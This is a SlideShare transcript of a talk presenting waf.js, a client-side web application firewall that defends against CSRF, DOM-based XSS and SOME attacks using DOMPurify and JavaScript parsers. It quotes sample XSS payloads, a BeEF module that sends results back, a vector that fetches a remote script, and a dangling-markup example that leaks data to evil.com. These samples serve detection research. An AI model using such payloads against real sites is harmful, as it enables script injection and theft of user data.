Waf.js: How to Protect Web Applications using JavaScript

11,610 views

Published on

The slides of our talk about PT application firewall defense-in-depth mechanism that protects users at DOM level against common client-side attacks

Published in: Engineering
0 Comments
3 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
11,610
On SlideShare
0
From Embeds
0
Number of Embeds
8,871
Actions
Shares
0
Downloads
54
Comments
0
Likes
3
Embeds 0
No embeds

No notes for slide

Waf.js: How to Protect Web Applications using JavaScript

  1. 1. Waf.js: How to Protect Web Applications using JavaScript ptsecurity.com Arseny Reutov areutov@ptsecurity.com @ru_raz0r Denis Kolegov dkolegov@ptsecurity.com @dnkolegov
  2. 2. 1. Waf.js Features 2. Development Tools 3. Application Protection Methods 4. Roadmap Agenda ptsecurity.com
  3. 3. Features
  4. 4. ptsecurity.com Waf.js 4 Waf.js is a PT Application Firewall defense-in-depth mechanism that protects users at DOM level against common client-side attacks The current features • CSRF prevention • DOM-based XSS attacks prevention • Reverse Clickjacking/SOME prevention • Unwanted applications detection
  5. 5. Development Tools
  6. 6. ptsecurity.com Tools 6 DOMPurify Acorn Esprima / Estools Grunt CasperJS JSCS/ESLint
  7. 7. Application Protection Methods
  8. 8. CSRF Prevention
  9. 9. ptsecurity.com CSRF Prevention 9 Random CSRF token is generated on server per user session Hidden fields with CSRF tokens are appended: • to all static forms of an HTML document • to all dynamically generated forms via MutationObserver No false positives for JSON/XML based REST APIs: • requests are checked only if its Content-Type corresponds to HTML forms that are sent from another domain
  10. 10. ptsecurity.com CSRF Prevention 10 X-CSRF-Token header is added to all AJAX requests • XMLHttpRequest "send" method is overridden via window.XMLHttpRequest.Prototype • For old IE versions corresponding "send" methods are overridden for popular frameworks (jQuery, mootools, ExtJS, etc)
  11. 11. Reverse Clickjacking Prevention
  12. 12. ptsecurity.com Reverse Clickjacking Prevention 12 Reverse Clickjacking/SOME • • User-supplied data is inserted in JavaScript function call context without sufficient validation (typically JSONP endpoints) Cannot be detected on server-side Example https://ex.com/InCallback/#q=urc_button.click Pavel Toporkov. Two tales about Google Vulnerabilities Ben Hayak. Same Origin Method Execution
  13. 13. ptsecurity.com Reverse Clickjacking Prevention 13 function sanitize(s) { if (typeof getProperty(window, s) === 'function') { s = ''; } return s; } Basic method Alternate method based on DOMPurify’s approach function sanitize(s) { if (typeof getProperty(window, s) !== 'string') { s = ''; } return s; }
  14. 14. Unwanted Application Detection
  15. 15. ptsecurity.com Unwanted Applications 15 Types • Bots: PhantomJS-based bots, Selenium • Exploits and frameworks: Beef, Sonar, Xbackdoor • Hacking tools: Burp, Zap, Acunetix, Fiddler, DOMinator Detection Methods • Window properties analysis • Hostnames (Burp, Zap) • Port scanning with <img> tag Alcorn, Frichot, Orru. The Browser Hacker’s Handbook
  16. 16. ptsecurity.com Example of PhantomJS Detection 16 function detectPhantom(){ if (window.callPhantom || window._phantom) { console.log('PhantomJS environment detected.'); } console.log('PhantomJS environment not detected.'); } Shape Security. Detecting PhantomJS Based Visitors
  17. 17. ptsecurity.com BeEF Detection 17 function detectBeEF(){ if (window.beef || window.beef_init || window.BeefJS) { console.log('BeEF environment detected.'); } else if (window.uagent || window.deviceAndroid) { console.log('BeEF environment in evasion mode detected.'); } else { console.log('BeEF environment not detected.'); } }
  18. 18. ptsecurity.com Burp Detection in BeEF 18 beef.execute(function() { load_script = function(url) { var s = document.createElement('script'); s.type = 'text/javascript'; s.src = url; document.body.appendChild(s); } get_proxy = function() { try { var response = FindProxyForURL('', ''); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'has_burp=true&response=' + response); } catch(e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'has_burp=false'); } } load_script('http://burp/proxy.pac'); setTimeout('get_proxy()', 10000); });
  19. 19. ptsecurity.com Burp Detection in waf.js 19 function detectBurp(){ var img = new Image(); img.src = 'http://burp/favicon.ico'; img.onload = function() { console.log('Burp environment detected.'); }; }
  20. 20. ptsecurity.com Fiddler Detection in waf.js 20 var timeout = 150; function detectFiddler() { if (!allowInsecureDetectors) { return; } if (window.navigator.platform.substring(0,3) === 'Lin') { return; } var t = new Date().getTime(); var img = new Image(); img.src = 'http://127.0.0.1:8888/FiddlerRoot.cer'; img.onerror = function() { if (new Date().getTime() - t < timeout) { console.log('Fiddler environment detected.'); } }; }
  21. 21. DOM-based XSS Prevention
  22. 22. ptsecurity.com Challenges 22 Implementation should be client-side Cannot use taint-analysis (à la DOMinator) We do not know injection context Many sources, sinks and contexts for malicious JavaScript execution Cannot wait when page is fully loaded We need not only to prevent attacks but also to detect and report them
  23. 23. ptsecurity.com Researches 23 Server-Side XSS Attack Detection with ModSecurity and PhantomJS Precise Client-side Protection against DOM-based Cross-Site Scripting Towards Elimination of XSS Attacks with a Trusted and Capability Controlled DOM (Mario Heiderich)
  24. 24. ptsecurity.com How to Detect XSS? 24 We should know where to look for it – sources that are controlled by an attacker • location • window.name • storages, etc. We should know XSS features – possibility to change AST in one of the following contexts • HTML/DOM • JavaScript • Attribute • URL
  25. 25. ptsecurity.com XSS Contexts 25 Context HTML/DOM JavaScript Attribute URL Vector <svg/onload=alert(1)> ");alert(1);// " onload="alert(1) javascript:alert(1)
  26. 26. ptsecurity.com DOM-based XSS Protection Workflow 26 Get the next source Does it contain dangerous HTML? Does it contain something like dangerous JavaScript? Deny Allow location.pathname location.search location.hash window.name localStorage … document.cookie Yes Yes No No
  27. 27. ptsecurity.com XSS Contexts 27 Context HTML/DOM JavaScript Attribute URL Vector <svg/onload=alert(1)> ");alert(1);// " onload="alert(1) javascript:alert(1) Grammar HTML, JavaScript JavaScript HTML, JavaScript URL, JavaScript
  28. 28. ptsecurity.com DOMPurify 28 "DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG" Cure53’s project https://github.com/cure53/DOMPurify Features – Precise (not heuristic) – Library for developers – XSS sanitizer for HTML, MathML and SVG – Hooks mechanism
  29. 29. ptsecurity.com What DOMPurify Can Do 29 Prevent XSS (including XSS via jQuery) var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789'; var policy = {FORBID_TAGS: ['a', 'b']}; var clean = DOMPurify.sanitize(dirty, policy); clean; //123456789 var dirty = '123<a href="javascript:alert(1)">I am a dolphin too!</a>'; var clean = DOMPurify.sanitize(dirty); clean; // "123<a>I am a dolphin too!</a>" var dirty = '<a x="1">123<b>456</b></a>'; var policy = {FORBID_ATTR: ['x']}; var clean = DOMPurify.sanitize(dirty, policy); clean; //"<a>123<b>456</b></a>"
  30. 30. ptsecurity.com What DOMPurify Can Do 30 Prevent DOM Clobbering attacks var dirty = '<img src=x name=createElement><img src=y id=createElement>'; var clean = DOMPurify.sanitize(dirty); clean; // "<img src="x"><img src="y">" var dirty = '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>'; var clean = DOMPurify.sanitize(dirty); clean; // "<form><input>123</form>" var dirty = '<img src=x name=cookie>'; var clean = DOMPurify.sanitize(dirty); clean; // "<img src="x">"
  31. 31. ptsecurity.com What DOMPurify Can Do 31 Prevent dangling markup injection attacks var dirty = '<img src='http://evil.com/log.cgi?'; var clean = DOMPurify.sanitize(dirty); clean;// "" dirty = '<script src=//14.rs a="'; clean = DOMPurify.sanitize(dirty); clean; // "" Postcards from the post-XSS world http://lcamtuf.coredump.cx/postxss/ Example http://blog.innerht.ml/csp-2015/
  32. 32. ptsecurity.com DOMPurify Peculiarities 32 Input modification • order of attributes is changed • " can be added if there are no quotes or it can replace' • closing tag can be added DOMPurify does nothing, if input does not contain "<" DOMPurify.sanitize("<svg width=1 height='2'>"); // "<svg height="2" width="1"></svg>" DOMPurify.sanitize("alert(1);"); // "alert(1);//"
  33. 33. ptsecurity.com What DOMPurify Cannot Do 33 Prevent injections into JavaScript context http://ex.com/foo.html#a';alert(1);// var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("<scr"+"ipt>var foo = '"+ clean +"'</scr"+"ipt>"); // dirty = "bar';alert(1);//" // clean = "bar';alert(1);//" <script> var foo = 'a';alert(1);//'<script>
  34. 34. ptsecurity.com What DOMPurify Cannot Do 34 Prevent injections into attribute context http://ex.com/foo.html#' onload='alert(1); var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("<img src='pic.jpg' width='" + width + "px'/>"); // dirty = "' onload='alert(1);" // clean = "' onload='alert(1);" <img src='pic.jpg' width='' onload=alert(1);px'/>");
  35. 35. ptsecurity.com What DOMPurify Cannot Do 35 Prevent JavaScript injections into URL context http://ex.com/foo.html#javascript:alert(1); var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("<a href='"+clean+"'>Link</a>"); // dirty = "javascript:alert(1)" // clean = "javascript:alert(1)" <a href='javascript:alert(1)'>Link</a>");
  36. 36. ptsecurity.com What DOMPurify Cannot Do 36 Prevent Reverse Clickjacking/SOME attacks http://ex.com/foo.html#delete_button.click var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); var url = '/re?q=' + clean + '&callback=' + clean + ''; var s = document.createElement('script'); s.src = url; document.body.appendChild(s); // dirty = "delete_button.click" // clean = "delete_button.click" <script src='http://ex.com/re?q=urc_button.click&callback=urc_button.click');
  37. 37. ptsecurity.com DOMPurify Adaptation for WAF 37 function sanitize(s) { var clean = ''; var dirty = normalize(s); var purified = DOMPurify.sanitize(dirty); if (!isMatch(dirty, purified)) { return clean; } return s; } ε, dompurify(x) ≢ x x, dompurify(x) ≡ x sanitize(x) = DOMPurify is a sophisticated sanitizer. How can we use its power on WAF?
  38. 38. ptsecurity.com DOMPurify Adaptation for WAF 38 isMatch("<svg width=1 height='2'>", "<svg height="2" width="1"></svg>") // true sanitize("<svg width=1 height='2'>"); // "<svg width=1 height='2'>" isMatch("<svg onload=alert(1)", "<svg></svg>") // false sanitize("<svg onload=alert(1)"); // "" ε, dompurify(x) ≢ x x, dompurify(x) ≡ x sanitize(x) = DOMPurify is a sophisticated sanitizer. How can we use its power on WAF?
  39. 39. ptsecurity.com DOM-based XSS Protection Workflow 39 Get the next source isDOMPurified() Does it contain something like dangerous JavaScript? Deny Allow location.pathname location.search location.hash window.name localStorage … document.cookie True Yes False No
  40. 40. ptsecurity.com Approaches to Injection Detection in WAFs 40 Lexical (Regular Expressions) Signature-based lexical • libinjection (Nick Galbreath) Syntactical • Parser generation - libdetection (Wallarm) • Parser adaptation - waf.js (Positive Technologies)
  41. 41. ptsecurity.com Our Approach 41 Data is allowed only if its AST does not contain dangerous code Ready-made JavaScript parsers are used This approach is universal and can be used for detection of arbitrary injections It is heuristical
  42. 42. ptsecurity.com Example 1 42 http://ex.com/foo.html#11111 var input = location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>"); <script> var foo = 11111; <script> Program ExpressionStatement Literal
  43. 43. ptsecurity.com Example 2 43 http://ex.com/foo.html#1;alert(1); var input = location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>"); <script> var foo = 1;alert(1); <script> Program ExpressionStatement Literal ExpressionStatement CallExpression Identifier Literal
  44. 44. ptsecurity.com Our Approach 44 Requirements to parser • Written in JavaScript • Works in all modern browsers • High performance Candidates • Acorn • Esprima
  45. 45. ptsecurity.com Detection Methods 45 Phases • Context computation or prediction • Parsing and AST building • Dangerous code search • Search recovery Methods • template-based • error-based • reduction-based • error-tolerant
  46. 46. ptsecurity.com Context Computation 46 The first issue • AST for alert(1) contains CallExpression node • AST for ";alert(1);" does not contain CallExpression node Template-based var a = "<>"; A heuristic method based on tokens number ";alert(1);" – 1 token ' ";alert(1);" – 1 token "";alert(1);" – 8 tokens parse(var a = "";alert(1);"") parse("";alert(1);")
  47. 47. ptsecurity.com AST Building 47
  48. 48. ptsecurity.com Dangerous Code Search 48 Dangerous statements are listed in security policy and can be specified by ESTree node names We can use additional logic based on parent or child nodes to minimize false positives For simplicity we'll assume that the security policy is restricted by CallExpression node only
  49. 49. ptsecurity.com AST Search 49 What should we do if AST can not be built by parser? ""};alert(1);var f={t:" function sanitize(dirty) { var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree; tree = esprima.parse(dirty); estraverse.traverse(tree, { enter: function(node) { if (node.type === 'CallExpression') { return clean; } } }); return dirty; } Esprima/estraverse
  50. 50. ptsecurity.com Search recovery 50 The first method is reduction from the right: ""};alert(1);var f={t:" ""};alert(1); The parsed string is changed using information about parse errors from the previous step When we find a dangerous node in AST we immediately stop parsing
  51. 51. ptsecurity.com Search recovery 51 function sanitize(dirty) { var acorn = require('acorn'), detected = false, clean = '', tree ; acorn.plugins.detectCallExpression = function(parser) { parser.extend('finishNode', function(nextMethod) { return function(code, node) { if(node === 'CallExpression') { detected = true; } return nextMethod.call(this, code, node); } }) }; tree = acorn.parse(payload, {plugins: {detectCallExpression: true}}); if (detected) { return clean; } return dirty; } Only Acorn parser supports parse-time plugins
  52. 52. ptsecurity.com Perfect parser 52 Written in JavaScript Works in all modern browsers High performance Standard-compliant (ECMAScript, ESTree) Modular - allows to change parse logic Returns error information Error-tolerant
  53. 53. ptsecurity.com Detection Methods 53 Phases • Context computation or prediction • Parsing and AST building • Dangerous code search • Search recovery Methods • template-based • error-based • reduction-based • error-tolerant
  54. 54. ptsecurity.com Template-based Method 54 templates = { var a = <>; var a = ' <> '; var a = {aa: "<>", bb: "bb"} } input = "};alert(1);var f={t:" 1
  55. 55. ptsecurity.com Template-based Method 55 contexts = { var a = "};alert(1);var f={t:"; var a = ' "};alert(1);var f={t:" '; var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"} } 2
  56. 56. ptsecurity.com Template-based Method 56 parse(var a = "};alert(1);var f={t:" ;) parse(var a = ' "};alert(1);var f={t:" ';) parse(var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"}) 3
  57. 57. ptsecurity.com Error-based Method 57 input = "};alert(1);var f={t:" 1
  58. 58. ptsecurity.com Error-based Method 58 input = "};alert(1);var f={t:" normalized = ""};alert(1);var f={t:" 2
  59. 59. ptsecurity.com Error-based Method 59 input = "};alert(1);var f={t:" normalized = ""};alert(1);var f={t:" parse(""};alert(1);var f={t:") 3
  60. 60. ptsecurity.com Error-based Method 60 parse (""};alert(1);var f={t:") 4 Unexpected token (1:2)
  61. 61. ptsecurity.com Error-based Method 61 parse (;alert(1);var f={t:") 5 Unterminated string constant (1:19)
  62. 62. ptsecurity.com Error-based Method 62 parse (;alert(1);var f={t:) 6 Unexpected token (1:19)
  63. 63. ptsecurity.com Error-based Method 63 parse (;alert(1);var f={t) 7 Unexpected token (1:18)
  64. 64. ptsecurity.com Error-based Method 64 parse (;alert(1);var f={) 8 Unexpected token (1:17)
  65. 65. ptsecurity.com Error-based Method 65 parse (;alert(1);var f=) 9 Unexpected token (1:16)
  66. 66. ptsecurity.com Error-based Method 66 parse (;alert(1);var f) 10 Parse tree
  67. 67. ptsecurity.com Left Reduction Method 67 Input: string S, context CTX Output: is S an injection in CTX context? 1. Tokenize S in CTX context. Save all tokens in tokens array 2. Parse S and build AST 3. If this AST contains specified forbidden nodes, then S is an injection 4. Otherwise delete from S the next token 5. If S is not an empty string, go to the step 2
  68. 68. ptsecurity.com Left Reduction Method 68 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " 1
  69. 69. ptsecurity.com Left Reduction Method 69 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} 2
  70. 70. ptsecurity.com Left Reduction Method 70 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ""});alert(1);var f =({t:" parse(ctx): Unexpected token (1:2) 3
  71. 71. ptsecurity.com Left Reduction Method 71 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = });alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 4
  72. 72. ptsecurity.com Left Reduction Method 72 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = );alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 5
  73. 73. ptsecurity.com Left Reduction Method 73 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ;alert(1);var f =({t:" parse(ctx): Program 6
  74. 74. ptsecurity.com Left Reduction Method 74 7 Program EmptyStatement ExpressionStatement alert CallExpression … arguments 1 nodes = {CallExpression} ctx = ;alert(1);var f =({t:"
  75. 75. ptsecurity.com Example of Implementation 75 function sanitize(s){ var clean = ''; var ctxs = ['', '"', '''], ctx, tokens, curToken, detected = false; for (var i = 0, len = ctxs.length; i < len; i++) { ctx = ctxs[i] + s; tokens = getTokens(ctx); curToken = 0; while(ctx.length > 0 && !isInjection) { try { acorn.parse(ctx, plugins: {detectCallExpression: true}}); } catch(e){} if (detected) return clean; ctx = ctx.substring(tokens[curToken].length); curToken +=1; } } return s; }; }
  76. 76. ptsecurity.com Detected Vectors 76 javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.sr c%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body. appendChild%28s%29%7D%29%28document.createElement%28%27sc ript%27%29%29 OSX Message XSS Client-side Template Injection with AngularJS Cure53 H5SC Mini Challenge 4 [alert(1)] %22})));alert(1)}catch(e){}// {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
  77. 77. ptsecurity.com Detected Vectors 77 http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");// Internet Explorer Reflected File Download Reflected XSS on developer.uber.com via Angular template injection ES6 alert`1` https://developer.uber.com/docs/deep- linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyD escriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
  78. 78. ptsecurity.com Error tolerance 78 )},{0:prompt(1 Prompt.ml Challenge Hidden Level 4 function escape(input) { // You know the rules and so do I input = input.replace(/"/g, ''); return '<body onload="think.out.of.the.box(' + input + ')">'; } return '<body onload="think.out.of.the.box()},{0:prompt(1)">'; "… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…" This type of XSS can be found only if parser is error-tolerant
  79. 79. ptsecurity.com Error tolerance 79 nodes = {CallExpression} s = )},{0:prompt(1 Program ExpressionStatement SequenceExpression … ObjectExpressionIdentifier CallExpression name: x
  80. 80. ptsecurity.com DOM-based XSS Protection Workflow 80 Get the next source isDOMPurified() isJSParsed? Deny Allow location.pathname location.search location.hash window.name localStorage … document.cookie True True False False
  81. 81. ptsecurity.com False Positive Minimization 81 Extended configuration features • Source types • Contexts for sources and parameters • Forbidden ESTree nodes Additional rules in Acorn modules Predefined profiles for customer’s applications Heavy testing
  82. 82. Roadmap
  83. 83. ptsecurity.com Roadmap 83 waf.js community edition Client-side request signing CSRF token randomization per request Protection against reverse tabnabbing Protection against phishing attacks Self-XSS warnings
  84. 84. Thank you! Waf.js ptsecurity.com Arseny Reutov areutov@ptsecurity.com @ru_raz0r Denis Kolegov dkolegov@ptsecurity.com @dnkolegov

×